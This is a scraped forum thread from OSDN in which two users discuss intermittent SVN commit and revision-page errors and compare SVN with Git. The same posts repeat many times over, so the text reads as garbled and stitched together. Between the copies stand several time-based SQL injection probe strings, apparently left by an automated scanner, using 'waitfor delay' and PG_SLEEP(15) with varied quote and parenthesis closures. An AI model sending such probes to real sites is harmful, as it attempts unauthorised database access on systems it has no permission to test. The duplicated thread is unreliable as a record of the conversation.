derekwildstar への返信
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
quiret への返信
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
derekwildstar への返信
Reply To quiret
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
quiret への返信
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
(匿名) への返信
Reply To quiret
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
About SVN, well, besides not liking to follow fads, I believe that for what I do, SVN is much better than GIT. Simple to use, and Tortoise SVN, in my opinion, is much better done than Tortoise GIT (which seems to have been made in a hurry to absorb a growing market). About our problem, although it's a funny coincidence, maybe, in fact, we are taking up too much space on the OSDN, I don't know... If only someone came here to say if this is it, I would transfer some of my repositories back to SourceForge, by the way, I'm only here today on OSDN, because SourceForge was having a lot of problems a few years ago. I didn't want to migrate everything back there :/
555hoKTQb6t'; waitfor delay '0:0:15' --
1 derekwildstar への返信
Just now I tried to commit to one of my SVN repositories and I'm getting the error message "Couldn't perform atomic initialization". When accessing via the website, I can browse my files that are on the server normally (Source Tree) but when clicking on any link with the revision number, an error message also appears: "Internal Error" with the following additional text: "We are sorry for the inconvenience. Please try again after a few minutes. If you get this error continuously, please file a new support ticket or contact admin@osdn.net." I've noticed that all my project revision links are showing the same error message, but when I click on these same links in another developer's SVN project here on OSDN, the link works correctly, as if the problem is only affecting my profile.
quiret への返信
I am encountering the same issue on my SVN repositories. Please help! Also OP is a pretty cool dude.
derekwildstar への返信
Aparently the problem was solved!
quiret への返信
The problem is happening, again.
quiret への返信
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
(匿名) への返信
Reply To quiret
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
At this very moment I don't have any sources to commit, so I can't guarantee that the problem has returned, however, when clicking on the revision number in my project, I can see the related page, and before, when the error happened , I couldn't see that page as an error was displayed. At this moment I can see, so I guess I don't have the problem anymore
derekwildstar への返信
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
quiret への返信
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
derekwildstar への返信
Reply To quiret
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
quiret への返信
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
(匿名) への返信
Reply To quiret
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
About SVN, well, besides not liking to follow fads, I believe that for what I do, SVN is much better than GIT. Simple to use, and Tortoise SVN, in my opinion, is much better done than Tortoise GIT (which seems to have been made in a hurry to absorb a growing market). About our problem, although it's a funny coincidence, maybe, in fact, we are taking up too much space on the OSDN, I don't know... If only someone came here to say if this is it, I would transfer some of my repositories back to SourceForge, by the way, I'm only here today on OSDN, because SourceForge was having a lot of problems a few years ago. I didn't want to migrate everything back there :/
555-1 OR 552=(SELECT 552 FROM PG_SLEEP(15))--
1 derekwildstar への返信
Just now I tried to commit to one of my SVN repositories and I'm getting the error message "Couldn't perform atomic initialization". When accessing via the website, I can browse my files that are on the server normally (Source Tree) but when clicking on any link with the revision number, an error message also appears: "Internal Error" with the following additional text: "We are sorry for the inconvenience. Please try again after a few minutes. If you get this error continuously, please file a new support ticket or contact admin@osdn.net." I've noticed that all my project revision links are showing the same error message, but when I click on these same links in another developer's SVN project here on OSDN, the link works correctly, as if the problem is only affecting my profile.
quiret への返信
I am encountering the same issue on my SVN repositories. Please help! Also OP is a pretty cool dude.
derekwildstar への返信
Aparently the problem was solved!
quiret への返信
The problem is happening, again.
quiret への返信
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
(匿名) への返信
Reply To quiret
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
At this very moment I don't have any sources to commit, so I can't guarantee that the problem has returned, however, when clicking on the revision number in my project, I can see the related page, and before, when the error happened , I couldn't see that page as an error was displayed. At this moment I can see, so I guess I don't have the problem anymore
derekwildstar への返信
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
quiret への返信
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
derekwildstar への返信
Reply To quiret
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
quiret への返信
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
(匿名) への返信
Reply To quiret
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
About SVN, well, besides not liking to follow fads, I believe that for what I do, SVN is much better than GIT. Simple to use, and Tortoise SVN, in my opinion, is much better done than Tortoise GIT (which seems to have been made in a hurry to absorb a growing market). About our problem, although it's a funny coincidence, maybe, in fact, we are taking up too much space on the OSDN, I don't know... If only someone came here to say if this is it, I would transfer some of my repositories back to SourceForge, by the way, I'm only here today on OSDN, because SourceForge was having a lot of problems a few years ago. I didn't want to migrate everything back there :/
555-1) OR 83=(SELECT 83 FROM PG_SLEEP(15))--
1 derekwildstar への返信
Just now I tried to commit to one of my SVN repositories and I'm getting the error message "Couldn't perform atomic initialization". When accessing via the website, I can browse my files that are on the server normally (Source Tree) but when clicking on any link with the revision number, an error message also appears: "Internal Error" with the following additional text: "We are sorry for the inconvenience. Please try again after a few minutes. If you get this error continuously, please file a new support ticket or contact admin@osdn.net." I've noticed that all my project revision links are showing the same error message, but when I click on these same links in another developer's SVN project here on OSDN, the link works correctly, as if the problem is only affecting my profile.
quiret への返信
I am encountering the same issue on my SVN repositories. Please help! Also OP is a pretty cool dude.
derekwildstar への返信
Aparently the problem was solved!
quiret への返信
The problem is happening, again.
quiret への返信
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
(匿名) への返信
Reply To quiret
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
At this very moment I don't have any sources to commit, so I can't guarantee that the problem has returned, however, when clicking on the revision number in my project, I can see the related page, and before, when the error happened , I couldn't see that page as an error was displayed. At this moment I can see, so I guess I don't have the problem anymore
derekwildstar への返信
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
quiret への返信
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
derekwildstar への返信
Reply To quiret
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
quiret への返信
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
(匿名) への返信
Reply To quiret
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
About SVN, well, besides not liking to follow fads, I believe that for what I do, SVN is much better than GIT. Simple to use, and Tortoise SVN, in my opinion, is much better done than Tortoise GIT (which seems to have been made in a hurry to absorb a growing market). About our problem, although it's a funny coincidence, maybe, in fact, we are taking up too much space on the OSDN, I don't know... If only someone came here to say if this is it, I would transfer some of my repositories back to SourceForge, by the way, I'm only here today on OSDN, because SourceForge was having a lot of problems a few years ago. I didn't want to migrate everything back there :/
555-1)) OR 860=(SELECT 860 FROM PG_SLEEP(15))--
1 derekwildstar への返信
Just now I tried to commit to one of my SVN repositories and I'm getting the error message "Couldn't perform atomic initialization". When accessing via the website, I can browse my files that are on the server normally (Source Tree) but when clicking on any link with the revision number, an error message also appears: "Internal Error" with the following additional text: "We are sorry for the inconvenience. Please try again after a few minutes. If you get this error continuously, please file a new support ticket or contact admin@osdn.net." I've noticed that all my project revision links are showing the same error message, but when I click on these same links in another developer's SVN project here on OSDN, the link works correctly, as if the problem is only affecting my profile.
quiret への返信
I am encountering the same issue on my SVN repositories. Please help! Also OP is a pretty cool dude.
derekwildstar への返信
Aparently the problem was solved!
quiret への返信
The problem is happening, again.
quiret への返信
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
(匿名) への返信
Reply To quiret
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
At this very moment I don't have any sources to commit, so I can't guarantee that the problem has returned, however, when clicking on the revision number in my project, I can see the related page, and before, when the error happened , I couldn't see that page as an error was displayed. At this moment I can see, so I guess I don't have the problem anymore
derekwildstar への返信
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
quiret への返信
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
derekwildstar への返信
Reply To quiret
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
quiret への返信
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
(匿名) への返信
Reply To quiret
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
About SVN, well, besides not liking to follow fads, I believe that for what I do, SVN is much better than GIT. Simple to use, and Tortoise SVN, in my opinion, is much better done than Tortoise GIT (which seems to have been made in a hurry to absorb a growing market). About our problem, although it's a funny coincidence, maybe, in fact, we are taking up too much space on the OSDN, I don't know... If only someone came here to say if this is it, I would transfer some of my repositories back to SourceForge, by the way, I'm only here today on OSDN, because SourceForge was having a lot of problems a few years ago. I didn't want to migrate everything back there :/
555j9tKDIvj' OR 226=(SELECT 226 FROM PG_SLEEP(15))--
1 derekwildstar への返信
Just now I tried to commit to one of my SVN repositories and I'm getting the error message "Couldn't perform atomic initialization". When accessing via the website, I can browse my files that are on the server normally (Source Tree) but when clicking on any link with the revision number, an error message also appears: "Internal Error" with the following additional text: "We are sorry for the inconvenience. Please try again after a few minutes. If you get this error continuously, please file a new support ticket or contact admin@osdn.net." I've noticed that all my project revision links are showing the same error message, but when I click on these same links in another developer's SVN project here on OSDN, the link works correctly, as if the problem is only affecting my profile.
quiret への返信
I am encountering the same issue on my SVN repositories. Please help! Also OP is a pretty cool dude.
derekwildstar への返信
Aparently the problem was solved!
quiret への返信
The problem is happening, again.
quiret への返信
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
(匿名) への返信
Reply To quiret
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
At this very moment I don't have any sources to commit, so I can't guarantee that the problem has returned, however, when clicking on the revision number in my project, I can see the related page, and before, when the error happened , I couldn't see that page as an error was displayed. At this moment I can see, so I guess I don't have the problem anymore
derekwildstar への返信
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
quiret への返信
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
derekwildstar への返信
Reply To quiret
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
quiret への返信
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
(匿名) への返信
Reply To quiret
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
About SVN, well, besides not liking to follow fads, I believe that for what I do, SVN is much better than GIT. Simple to use, and Tortoise SVN, in my opinion, is much better done than Tortoise GIT (which seems to have been made in a hurry to absorb a growing market). About our problem, although it's a funny coincidence, maybe, in fact, we are taking up too much space on the OSDN, I don't know... If only someone came here to say if this is it, I would transfer some of my repositories back to SourceForge, by the way, I'm only here today on OSDN, because SourceForge was having a lot of problems a few years ago. I didn't want to migrate everything back there :/
1 derekwildstar への返信
Just now I tried to commit to one of my SVN repositories and I'm getting the error message "Couldn't perform atomic initialization". When accessing via the website, I can browse my files that are on the server normally (Source Tree) but when clicking on any link with the revision number, an error message also appears: "Internal Error" with the following additional text: "We are sorry for the inconvenience. Please try again after a few minutes. If you get this error continuously, please file a new support ticket or contact admin@osdn.net." I've noticed that all my project revision links are showing the same error message, but when I click on these same links in another developer's SVN project here on OSDN, the link works correctly, as if the problem is only affecting my profile.
quiret への返信
I am encountering the same issue on my SVN repositories. Please help! Also OP is a pretty cool dude.
derekwildstar への返信
Aparently the problem was solved!
quiret への返信
The problem is happening, again.
quiret への返信
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
(匿名) への返信
Reply To quiret
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
At this very moment I don't have any sources to commit, so I can't guarantee that the problem has returned, however, when clicking on the revision number in my project, I can see the related page, and before, when the error happened , I couldn't see that page as an error was displayed. At this moment I can see, so I guess I don't have the problem anymore
derekwildstar への返信
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
quiret への返信
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
derekwildstar への返信
Reply To quiret
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
quiret への返信
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
(匿名) への返信
Reply To quiret
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
About SVN, well, besides not liking to follow fads, I believe that for what I do, SVN is much better than GIT. Simple to use, and Tortoise SVN, in my opinion, is much better done than Tortoise GIT (which seems to have been made in a hurry to absorb a growing market). About our problem, although it's a funny coincidence, maybe, in fact, we are taking up too much space on the OSDN, I don't know... If only someone came here to say if this is it, I would transfer some of my repositories back to SourceForge, by the way, I'm only here today on OSDN, because SourceForge was having a lot of problems a few years ago. I didn't want to migrate everything back there :/
1 derekwildstar への返信
Just now I tried to commit to one of my SVN repositories and I'm getting the error message "Couldn't perform atomic initialization". When accessing via the website, I can browse my files that are on the server normally (Source Tree) but when clicking on any link with the revision number, an error message also appears: "Internal Error" with the following additional text: "We are sorry for the inconvenience. Please try again after a few minutes. If you get this error continuously, please file a new support ticket or contact admin@osdn.net." I've noticed that all my project revision links are showing the same error message, but when I click on these same links in another developer's SVN project here on OSDN, the link works correctly, as if the problem is only affecting my profile.
quiret への返信
I am encountering the same issue on my SVN repositories. Please help! Also OP is a pretty cool dude.
derekwildstar への返信
Aparently the problem was solved!
quiret への返信
The problem is happening, again.
quiret への返信
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
(匿名) への返信
Reply To quiret
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
At this very moment I don't have any sources to commit, so I can't guarantee that the problem has returned, however, when clicking on the revision number in my project, I can see the related page, and before, when the error happened , I couldn't see that page as an error was displayed. At this moment I can see, so I guess I don't have the problem anymore
derekwildstar への返信
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
quiret への返信
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
derekwildstar への返信
Reply To quiret
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
quiret への返信
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
(匿名) への返信
Reply To quiret
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
About SVN, well, besides not liking to follow fads, I believe that for what I do, SVN is much better than GIT. Simple to use, and Tortoise SVN, in my opinion, is much better done than Tortoise GIT (which seems to have been made in a hurry to absorb a growing market). About our problem, although it's a funny coincidence, maybe, in fact, we are taking up too much space on the OSDN, I don't know... If only someone came here to say if this is it, I would transfer some of my repositories back to SourceForge, by the way, I'm only here today on OSDN, because SourceForge was having a lot of problems a few years ago. I didn't want to migrate everything back there :/
1 derekwildstar への返信
Just now I tried to commit to one of my SVN repositories and I'm getting the error message "Couldn't perform atomic initialization". When accessing via the website, I can browse my files that are on the server normally (Source Tree) but when clicking on any link with the revision number, an error message also appears: "Internal Error" with the following additional text: "We are sorry for the inconvenience. Please try again after a few minutes. If you get this error continuously, please file a new support ticket or contact admin@osdn.net." I've noticed that all my project revision links are showing the same error message, but when I click on these same links in another developer's SVN project here on OSDN, the link works correctly, as if the problem is only affecting my profile.
quiret への返信
I am encountering the same issue on my SVN repositories. Please help! Also OP is a pretty cool dude.
derekwildstar への返信
Aparently the problem was solved!
quiret への返信
The problem is happening, again.
quiret への返信
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
(匿名) への返信
Reply To quiret
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
At this very moment I don't have any sources to commit, so I can't guarantee that the problem has returned, however, when clicking on the revision number in my project, I can see the related page, and before, when the error happened , I couldn't see that page as an error was displayed. At this moment I can see, so I guess I don't have the problem anymore
derekwildstar への返信
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
quiret への返信
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
derekwildstar への返信
Reply To quiret
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
quiret への返信
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
(匿名) への返信
Reply To quiret
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
About SVN, well, besides not liking to follow fads, I believe that for what I do, SVN is much better than GIT. Simple to use, and Tortoise SVN, in my opinion, is much better done than Tortoise GIT (which seems to have been made in a hurry to absorb a growing market). About our problem, although it's a funny coincidence, maybe, in fact, we are taking up too much space on the OSDN, I don't know... If only someone came here to say if this is it, I would transfer some of my repositories back to SourceForge, by the way, I'm only here today on OSDN, because SourceForge was having a lot of problems a few years ago. I didn't want to migrate everything back there :/
1 derekwildstar への返信
Just now I tried to commit to one of my SVN repositories and I'm getting the error message "Couldn't perform atomic initialization". When accessing via the website, I can browse my files that are on the server normally (Source Tree) but when clicking on any link with the revision number, an error message also appears: "Internal Error" with the following additional text: "We are sorry for the inconvenience. Please try again after a few minutes. If you get this error continuously, please file a new support ticket or contact admin@osdn.net." I've noticed that all my project revision links are showing the same error message, but when I click on these same links in another developer's SVN project here on OSDN, the link works correctly, as if the problem is only affecting my profile.
quiret への返信
I am encountering the same issue on my SVN repositories. Please help! Also OP is a pretty cool dude.
derekwildstar への返信
Aparently the problem was solved!
quiret への返信
The problem is happening, again.
quiret への返信
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
(匿名) への返信
Reply To quiret
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
At this very moment I don't have any sources to commit, so I can't guarantee that the problem has returned, however, when clicking on the revision number in my project, I can see the related page, and before, when the error happened , I couldn't see that page as an error was displayed. At this moment I can see, so I guess I don't have the problem anymore
derekwildstar への返信
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
quiret への返信
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
derekwildstar への返信
Reply To quiret
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
quiret への返信
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
(匿名) への返信
Reply To quiret
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
About SVN, well, besides not liking to follow fads, I believe that for what I do, SVN is much better than GIT. Simple to use, and Tortoise SVN, in my opinion, is much better done than Tortoise GIT (which seems to have been made in a hurry to absorb a growing market). About our problem, although it's a funny coincidence, maybe, in fact, we are taking up too much space on the OSDN, I don't know... If only someone came here to say if this is it, I would transfer some of my repositories back to SourceForge, by the way, I'm only here today on OSDN, because SourceForge was having a lot of problems a few years ago. I didn't want to migrate everything back there :/
